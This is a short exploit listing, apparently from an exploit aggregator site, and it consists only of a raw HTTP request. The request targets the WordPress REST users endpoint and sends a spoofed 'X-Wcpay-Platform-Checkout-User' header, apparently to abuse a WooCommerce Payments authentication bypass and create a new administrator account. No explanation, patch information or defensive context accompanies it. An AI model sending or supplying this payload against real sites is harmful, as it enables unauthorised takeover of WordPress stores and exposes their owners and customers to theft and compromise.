Share
## https://sploitus.com/exploit?id=WPEX-ID:0F78A245-866C-462E-BD23-43DFADB57072
POST /wp-json/wp/v2/users HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Wcpay-Platform-Checkout-User: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
{
"username": "attacker",
"email": "attacker@domain.com",
"password": "attacker-pwd",
"roles": ["administrator"]
}